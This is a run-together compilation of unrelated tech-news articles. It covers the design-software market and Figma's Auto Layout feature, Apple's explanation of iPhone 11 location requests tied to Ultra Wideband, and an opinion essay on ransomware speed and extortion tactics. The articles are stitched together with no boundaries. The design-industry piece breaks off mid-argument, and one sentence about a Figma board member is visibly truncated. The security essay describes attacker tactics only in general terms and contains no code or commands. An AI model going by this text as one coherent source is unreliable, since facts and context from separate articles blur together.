Ten years ago, the vast majority of designers were working in Adobe Photoshop, a powerful tool with fine-tuned controls for almost every kind of image manipulation one could imagine. But it was a tool built for an analog world focused on photos, flyers and print magazines; there were no collaborative features, and much more importantly for designers, there were no other options.

Since then, a handful of major players have stepped up to dominate the market alongside the behemoth, including InVision, Sketch, Figma and Canva.

And with the shift in the way designers fit into organizations and the way design fits into business overall, the design ecosystem is following the same path blazed by enterprise SaaS companies in recent years. Undoubtedly, investors are ready to place their bets in design.

But the question still remains over whether the design industry will follow in the footprints of the sales stack — with Salesforce reigning as king and hundreds of much smaller startup subjects serving at its pleasure — or if it will go the way of the marketing stack, where a lively ecosystem of smaller niche players exist under the umbrella of a handful of major, general-use players.

“Deca-billion-dollar SaaS categories aren’t born everyday,” said InVision CEO Clark Valberg . “From my perspective, the majority of investors are still trying to understand the ontology of the space, while remaining sufficiently aware of its current and future economic impact so as to eagerly secure their foothold. The space is new and important enough to create gold-rush momentum, but evolving at a speed to produce the illusion of micro-categorization, which, in many cases, will ultimately fail to pass the test of time and avoid inevitable consolidation.”

I spoke to several notable players in the design space — Sketch CEO Pieter Omvlee, InVision CEO Clark Valberg, Figma CEO Dylan Field, Adobe Product Director Mark Webster, InVision VP and former VP of Design at Twitter Mike Davidson, Sequoia General Partner Andrew Reed and FirstMark Capital General Partner Amish Jani — and asked them what the fierce competition means for the future of the ecosystem.

But let’s first back up.


Sketch launched in 2010, offering the first viable alternative to Photoshop. Made for design and not photo-editing with a specific focus on UI and UX design, Sketch arrived just as the app craze was picking up serious steam.

A year later, InVision landed in the mix. Rather than focus on the tools designers used, it concentrated on the evolution of design within organizations. With designers consolidating from many specialties to overarching positions like product and user experience designers, and with the screen becoming a primary point of contact between every company and its customers, InVision filled the gap of collaboration with its focus on prototypes.

If designs could look and feel like the real thing — without the resources spent by engineering — to allow executives, product leads and others to weigh in, the time it takes to bring a product to market could be cut significantly, and InVision capitalized on this new efficiency.

In 2012, came Canva, a product that focused primarily on non-designers and folks who need to ‘design’ without all the bells and whistles professionals use. The thesis: no matter which department you work in, you still need design, whether it’s for an internal meeting, an external sales deck, or simply a side project you’re working on in your personal time. Canva, like many tech firms these days, has taken its top-of-funnel approach to the enterprise, giving businesses an opportunity to unify non-designers within the org for their various decks and materials.

In 2016, the industry felt two more big shifts. In the first, Adobe woke up, realized it still had to compete and launched Adobe XD, which allowed designers to collaborate amongst themselves and within the organization, not unlike InVision, complete with prototyping capabilities. The second shift was the introduction of a little company called Figma.

Where Sketch innovated on price, focus and usability, and where InVision helped evolve design’s position within an organization, Figma changed the game with straight-up technology. If Github is Google Drive, Figma is Google Docs. Not only does Figma allow organizations to store and share design files, it actually allows multiple designers to work in the same file at one time. Oh, and it’s all on the web.

In 2018, InVision started to move up stream with the launch of Studio, a design tool meant to take on the likes of Adobe and Sketch and, yes, Figma.


When it comes to design tools in 2019, we have an embarrassment of riches, but the success of these players can’t be fully credited to the products themselves.

A shift in the way businesses think about digital presence has been underway since the early 2000s. In the not-too-distant past, not every company had a website and many that did offered a very basic site without much utility.

In short, designers were needed and valued at digital-first businesses and consumer-facing companies moving toward e-commerce, but very early-stage digital products, or incumbents in traditional industries had a free pass to focus on issues other than design. Remember the original MySpace? Here’s what Amazon looked like when it launched.

In the not-too-distant past, the aesthetic bar for internet design was very, very low. That’s no longer the case.

Figma launches Auto Layout

Figma, the design tool maker that has raised nearly $83 million from investors such as Index Ventures, Sequoia, Greylock and Kleiner Perkins, has today announced a new feature called Auto Layout that takes some of the tedious reformatting out of the design process.

Designers are all too familiar with the problem of manually sizing content in new components. For example, when a designer creates a new button for a web page, the text within the button has to be manually sized to fit within the button. If the text changes, or the size of the button, everything has to be adjusted accordingly.

This problem is exacerbated when there are many instances of a certain component, all of which have to be manually adjusted.

Auto Layout functions as a toggle. When it’s on, Figma does all the adjusting for designers, making sure content is centered within components and that the components themselves adjust to fit any new content that might be added. When an item within a frame is re-sized or changed, the content around it dynamically adjusts along with it.

Auto Layout also allows users to change the orientation of a list of items from vertical to horizontal and back again, adjust the individual sizing of a component within a list or re-order components in a list with a single click.

It’s a little like designing on auto-pilot.

Auto Layout also functions within the component system, allowing designers to tweak the source of truth without detaching the symbol or content from it, meaning that these changes flow through to the rest of their designs.

Figma CEO Dylan Field said there was very high demand for this feature from customers, and hopes that this will allow design teams to move much faster when it comes to user testing and iterative design.

Alongside the launch, Figma is also announcing that it has brought on its first independent board member. Lynn Vojvodich joins Danny Rimer, John Lilly, Mamoon Hamid and Andrew Reed on the Figma board.

Vojvodich has a wealth of experience as an operator in the tech industry, serving as EVP and CMO at She was a partner at Andreesen Horowitz, and led her own company Take3 for 10 years. Vojvodich also serves on the boards of several large corporations, including Ford Motor Company, Looker and Dell.

“I’ve never brought on an investor that I haven’t heavily reference checked, both with companies that have had success and those who don’t,” said Field. “A good board can really help accelerate the company, but a challenging board can make it tough for companies to keep moving.”

Field added that, as conversations progressed with Vojvodich, she continually delivered value to the team with crisp answers and great insights, noting that her experience translates.

Apple Explains Mysterious iPhone 11 Location Requests

KrebsOnSecurity ran a story this week that puzzled over Apple‘s response to inquiries about a potential privacy leak in its new iPhone 11 line, in which the devices appear to intermittently seek the user’s location even when all applications and system services are individually set never to request this data. Today, Apple disclosed that this behavior is tied to the inclusion of a short-range technology that lets iPhone 11 users share files locally with other nearby phones that support this feature, and that a future version of its mobile operating system will allow users to disable it.

I published Tuesday’s story mainly because Apple’s initial and somewhat dismissive response — that this was expected behavior and not a bug — was at odds with its own privacy policy and with its recent commercials stating that customers should be in full control over what they share via their phones and what their phones share about them.

But in a statement provided today, Apple said the location beaconing I documented in a video was related to Ultra Wideband technology that “provides spatial awareness allowing iPhone to understand its position relative to other Ultra Wideband enabled devices (i.e. all new iPhone 11s, including the Pro and Pro Max).

Ultra-wideband (a.k.a UWB) is a radio technology that uses a very low energy level for short-range, high-bandwidth communications of a large portion of the radio spectrum without interfering with more conventional transmissions.

“So users can do things like share a file with someone using AirDrop simply by pointing at another user’s iPhone,” Apple’s statement reads. The company further explained that the location information indicator (a small, upward-facing arrow to the left of the battery icon) appears because the device periodically checks to see whether it is being used in a handful of countries for which Apple hasn’t yet received approval to deploy Ultra Wideband.

“Ultra Wideband technology is an industry standard technology and is subject to international regulatory requirements that require it to be turned off in certain locations,” the statement continues. “iOS uses Location Services to help determine if iPhone is in these prohibited locations in order to disable Ultra Wideband and comply with regulations. The management of Ultrawide Band compliance and its use of location data is done entirely on the device and Apple is not collecting user location data.”

Apple’s privacy policy says users can disable all apps and system services that query the user’s location all at once by toggling the main “Location Services” option to “off.” Alternatively, it says, users can achieve the same results by individually turning off all System Services that use location in the iPhone settings.

What prompted my initial inquiry to Apple about this on Nov. 13 was that the location services icon on the iPhone 11 would reappear every few minutes even though all of the device’s individual location services had been disabled.

“It is expected behavior that the Location Services icon appears in the status bar when Location Services is enabled,” Apple stated in their initial response. “The icon appears for system services that do not have a switch in Settings” [emphasis added].

Now we know more about at least one of those services. Apple says it plans to include the option of a dedicated toggle in System Services to disable the UWB activity in an upcoming update of its iOS operating system, although it didn’t specify when that option might be available.

The one head-scratcher remaining is that the new iPhone seems to check whether it’s in a country that allows UWB fairly frequently, even though the list of countries where this feature is not yet permitted is fairly small, and includes Argentina, Indonesia and Paraguay. A complete list of countries where iPhones can use UWB is here. The principal remaining concern may be that these periodic checks unnecessarily drain the iPhone 11’s battery.

It is never my intention to create alarm where none should exist; there are far too many real threats to security and privacy that deserve greater public attention and scrutiny from the news media. However, Apple does itself and its users no favors when it takes weeks to respond (or not, as my colleague Zack Whittaker at TechCrunch discovered) to legitimate privacy concerns, and then does so in a way that only generates more questions.

The Most Important Cyber Prediction for 2020 and Beyond: The Convergence of Speed

From a risk management standpoint, the cyber security threat landscape has jumped the shark. The ability to distinguish various threat motives, threat vectors and related impacts to an organization, its people, and its mission, has arguably devolved over the last 5 years. We’ve been playing Security Risk Theater for too long, and it is time to get down to brass tacks and identify what first things’ first actually looks like going forward in 2020. If we are not able to do this as a community of practitioners and leaders, the industry will be stuck in a seemingly endless state of entropy, chaos and risk.

feature image 2020 and beyond

There are times to reflect back upon the history of cybersecurity and learn from it, and this will always be the case. However, there are also times to abandon historical notions of lessons-learned and push forward into that great unknown whose precipice we are now upon. The perspective of this author, and indeed this author’s raison d’être from here on out, is to vocalize and mobilize, as clear and as loud as possible, that which is upon us and that which we must now solve together as a community. In short, we need nothing less than a willing, aware, and impassioned collective of leaders to embrace and expound upon a movement of hyper-awareness.

While there are myriad lenses through which to observe and articulate the thrust of this awareness movement, we will focus on just one for now, which I believe to be the most important:

The raw velocity of the threat landscape requires an even greater velocity of the cyber defensive landscape.

Forget About Threat Actor ‘Sophistication’

While there is much noise, FUD and dramatic dialogue about the sophistication of the threat landscape, I do not believe it is sophistication that has given the adversary the upper hand. In fact, the most severe destructive events of 2019 involved TTPs (Tactics, Techniques, Procedures) that were trivial in complexity or sophistication by any measure: reusing stolen passwords? Connecting to remotely accessible RDP services? Have a user click on a malicious Word document executing Visual Basic code? A website dropping malware in today’s flavor-of-the-month language?

As they have been for decades, these are the most trivial and universally understood means of attacking an organization or user to gain a foothold.

Oh, but what about the crazy sophisticated trojan payloads these days? From where I stand, they are no more sophisticated than they were nearly 20 years ago when I wrote a paper entitled Trojan Warfare Exposed, in which I highlighted the multitude of features available in the commodity SubSeven Trojan of the era. Well over 150 discrete features and capabilities that when compiled were still less than .5mb in size.

At the end of the day, malware is still doing malware things: gaining footholds, extracting passwords, evading and persisting, moving laterally, sniffing keystrokes, and helping criminals extort their victims.

But wait, you say, “we didn’t have ransomware back in 2000, did we?” If by ransomware you mean criminals extorting computer users for money, well, we did actually. And it was simply called a trojan, and hackers used trojans all the time to intimidate, extort and coerce their victims into taking actions or giving up information. A list of things hackers were doing in Y2K with trojans (taken from the above-linked paper):

    • Fake Windows Logon Script
    • Key-Loggers that send strokes to hacker’s email
    • The Matrix
    • Intimidation (do it or else)
    • FakeHelpDeskmessagebox
    • Simple trojan Chat box
    • WebCamSpy
    • Microsoft Text-to-Speech engine manipulation.
    • AIM/ICQ/MSIM spies, and/or impersonation
    • File download from PC into a customized dictionary attack.
    • Passwords stored in registry, DUN account settings, etc.
    • Remote Network Sniffers

Suffice to say that it is not sophistication that is the modern attacker’s advantage over us. From an attacker’s point of view, your network and your entire security stack is much more sophisticated in terms of raw code development, integration, compute power and design.

Hacker’s must face any number of disparate and diverse technologies in order to successfully evade, persist and move about a victim environment. Pundits argue that hackers only need to be right once to succeed, whereas defenders need to be right 100% of the time to prevent an incident. Those pundits haven’t spent enough time as an offensive red teamer. It is the opposite that is true: A hacker needs to be right 100% of the time to pull off their objective undetected, and it is the defender that only needs to be right once, to fully interrupt and halt the attacker’s kill chain.

But we don’t think of the problem space this way as an industry, as we have been in a state of reaction since the ‘breach era’ of 2013 thru to the present. We lament and exclaim to one another that it is only a matter of when, not if we will be breached. It is against this pretext that we have come to believe the adversary is more sophisticated than we are. But they aren’t.

Speed is the Enemy’s Invisible Advantage

If there is one thing I learned in the 15 or so years I consulted in the Department of Defense (DoD) cyber space, it is this: No matter how much visibility, continuous monitoring or data crunching you do as an enterprise, none of it matters one lick if the enemy outpaces that effort.

This was incredibly apparent when one of the least sophisticated nation state threat actors at the time was able to compromise, persist within, and exfiltrate data from a million-device enterprise. It was also a painful lesson (at the time) in the area of web application security. Immense effort went into monitoring the logs of critical web applications, but none of the effort ever successfully prevented the risk impact to the mission from occurring.

Similarly with call-back (aka “C2” or “command and control”) detection, NetSec teams became inundated with alerts, all of which needed to be vetted, and all of which were acted upon after the callback connections had occurred, along with the additional tools, payloads, or data exfiltration taking place within those connections that had already occurred.

This same ‘time lag’ the Department of Defense struggled to address, is the same time lag we are all struggling to address. It is the reason we are on our heels.

So we see that it is neither the sophistication of the threat, nor our inability to detect after-the-fact that gives the adversary the upper hand. When an accident happens on the freeway, there is often nothing sophisticated about what happened to cause it. And, when the forensics team comes to investigate what happened, they can usually piece together what the root cause was, what the safety failures were, what the driver behaviors/choices were, and what the damage/impact was. That is what hindsight gives us: 20/20 vision.

Human beings relish in the ability to understand what has happened. We usually don’t even care how a bad thing might happen until after it has happened. That’s when shareholders pick up the phone. That’s when attorneys come into play. That’s when public statements and notifications need to be made. That is when we become interested as defenders in what just happened.

But by the time we initiate and complete those after-the-fact activities to get smarter about what happened, the adversary has already won in every sense of the word. They’ve gained security control without authorization. They’ve impacted the organization before the organization even realizes it. They’ve elevated privileges, run queries, grabbed data, or destroyed it. They’ve. Already. Won.

Reject the ‘Good Loser’ Mentality

Yet here we are still trying to frame this entire landscape in human time frames… minutes, days, weeks, months and years. One minute to detection? Are you kidding? We turn up to the game a minute after the final whistle? It’s already over!

Don’t talk about dwell times and how millions can be saved if you can just keep a breach dwell time under 200 days instead of the average 285 days. That’s hotwash. That’s risk offset. We have fallen into the fake comfort of explaining what happened, of justifying our failure. We do all the things a professional sports team might do after they lose the game.

And we’ve gotten so good at these things that it has affected our very ability to perceive and attack the problem. It has become the language of cyber security. There are even vendors that proclaim the ‘standard’ of how long it takes to detect, alert and remediate an incident should be measured in minutes and hours. As if the actual adversary even cares what a vendor’s SLA might be. As if we are still living in the 2013-2015 post-breach ‘wake-up call’ world. As if our primary role as a CISO is to be able to describe with perfect visibility, exactly how the enemy of the organization just succeeded in negatively impacting our organization and its mission. How far we’ve strayed from the basic tenets of information security of the 1990s! How much profit and pleasure the adversary takes in us having done so!

And let’s be honest: how much profit and pleasure has the security vendor industry also taken in perpetuating the problem by never fully solving it and charging for EPS (events per second), alerts, data retention time in the cloud, incident response services, and (insert all the fantastic cyber pew pew here)?

What Does 2020 and Beyond Look Like?

We’ve seen this coming. We’ve all talked about it. I predicted it in 2016: That ransomware campaigns would begin to leverage much more than just encryption routines to extort us. It was extremely forth-telling that a Mexican Oil and Gas company got targeted by a DopplePaymer ransomware campaign (whose lightening-fast payload performs over 2000 malicious operations on the host in less than 7 seconds) that also affected its cardiac/hospital care center in Tabasco even as the author of the malware embedded a comment in their code that reads:

“We don’t care who you are and why this happens. No one died. That’s all”.

That same ransom note also threatened to dox (expose, leak) or sell sensitive information that the attackers said they exfiltrated prior to encrypting their network, should the victim not pay the ransom in time. And speaking of time…time matters!: Vanderbilt recently completed a study showing that over 2100 cardiac patients die every year in America due to cyber breaches and ransom events and their effect on hospitals… and it comes down to the additional 2.7 minutes it takes to get an EKG performed before a doctor knows what the correct treatment is.

It was even more instructive when on the 25th of November this year, we learned that the ChaCha (aka TA2101) ransomware gang actually did dox 700mb of data from their victim (Allied Universal, $7B valuation) when Allied decided not to pay the $2.1m ransom that has since ballooned to $4m after a delay in payment. This marks the first publicly-known event where such ‘secondary extortion’ has been exerted on a victim.

That will in turn lead to other universally ugly evolutions, such as dropping CP (Child Pornagraphy) files inside an organization to exasperate and overwhelm a victim into paying. We’ve already seen this happen during non-ransomware targeted attacks, when attackers left CP behind on purpose, knowing that doing so changes the forensics landscape by requiring HR intervention and CP reporting laws to kick in.

Entire email account inboxes can also be leveraged as well: there is nothing that is off-limits in the mind of the criminal extortionist. Case in point: the same attackers that targeted Allied also gained access to private email keys that had been stored in plaintext, and which could be used by, say, an emotet campaign operator to spoof malicious spam from. This ostensibly represents yet another form of risk to Allied, which effectively applies even greater pressure by the attacker.

Putting It All Into Perspective

Most organizations realize they are victim to a ransomware event only after the first few machines begin to get encrypted. By this time, the majority of attack kill chains have already played out. Footholds were gained, credentials stolen, lateral movement achieved, spreading via domain credentials and tools accomplished, persistence established and (as we just learned above) sensitive data already exfiltrated.

Note that the same ‘low and slow’ breach story of 2013-2015 isn’t what is at play here. Attackers can much more easily discover and exfiltrate sensitive data now, and whether this data is the ‘crown jewels’ or not is nearly irrelevant in the context of the modern hyper-velocity kill chain. It is leverage, nothing more. It leverages the imagination of the victim more than it leverages the value of the stolen data on the dark web.

It doesn’t matter if the attacker gets salted password hashes, secret sauce formulas, customer lists, PHI/PCI, or inventory/warehousing data, so long as it is seen that the attackers simply stole data the reputational damage is done.

Just like Fin6 might pivot from an initial RDP foothold to a one-word query for a gift-card portal on a BigFix device, the modern extortionist hacker might simply reduce their exfiltration strategy to “What’s the most amount of data I can find/access/exfiltrate the soonest?”. And though it may sound like a bold assertion, there is simply no reason why any criminal group targeting an organization wouldn’t simply grab already leaked or sold data for that organization from the Deep Dark Web prior to launching a targeted ransomware campaign to claim they have access to and have exfiltrated current data.

No matter how we imagine 2020 and beyond to play out, one thing is certain: It will continue to play out faster than it has in the past. It will continue to overwhelm — by speed, not sophistication — legacy security controls and after-the-fact visibility efforts. It will continue to reward the criminals that are the laziest and the quickest. It will continue to employ as many forms of leverage as an attacker can easily bestow on their victim. It will continue to move at the speed of computing itself when it comes to how fast a given payload can execute, modify, evade, persist and control a target asset.

This applies not only to Traditional IT workstations and servers, but also to VDI environments and within the cloud workload migration story unfolding before us. The technology, intelligence, and security enforcement required to stop these fast moving threats needs to be present in both the cloud as well as at the edge (on the endpoint), whatever that endpoint may be. To the extent we do not solve the speed advantage the attacker has had over us, we will remain embattled, in retreat, and at risk. The real threat convergence story revolves around speed, not sophistication.

So What Can We Do?

Thankfully, there are organizations that have already realized this new reality and have adapted their strategies, their staffing goals, their security stack and their understanding of what true risk offset looks like going forward. Mostly, these are those organizations that have either endured an event like WannaCry or NotPetya two years ago, or they are the ones that have had their production or services directly affected by these more recent ransomware variants like DopplePaymer or Maze, etc. I’ve said it before and I’ll keep saying it:

There are now only two kinds of organizations in the world today: Those that have been through these kinds of destructive fast-moving events, and those that have not; these two kinds of organizations look, feel, budget, staff and operate completely different from one another.

You can almost reduce the modern CISO challenge down to the task of getting an organization that hasn’t been through a major destructive event to act like they have anyway, so that they can take the necessary steps to get ahead of these fast moving threats and prevent such an event from ever happening.

Hint: this isn’t about back-up and restore strategies and different risk offsets. This isn’t about 1/10/60 SLA’s with cloud-native vendors persuading you they have a chance at stopping code-on-code run-time threats. This isn’t about reacting and setting expectations with the board that it’s only a matter of time before the bad day happens.

No, this is about the hard work of actually beating the adversary at their own game: speed.

To do that, I’ll leave you with what is probably the best word to describe the entire movement upon us: anticipation…but a new kind of anticipation that focuses on where and when the actual fight in the ring is happening… not on the locker room after the fighter has already lost and is bloodied up and battered, trying to restore herself.

When the bell rings and it is go-time, the fighter doesn’t get to dial up The Cloud for answers. She doesn’t get to crowdsource her intelligence from all the onlookers in the stands. She doesn’t even get to listen to the coach shouting from the ropes. Nope. She needs to keep her eyes on the opponent’s hips and anticipate the next move, and even more importantly, respond in fractions of a second, with a counter-punch to knock them out.

After all, when is it OK as a boxer to be on your heels? For those who know, the answer is: never.

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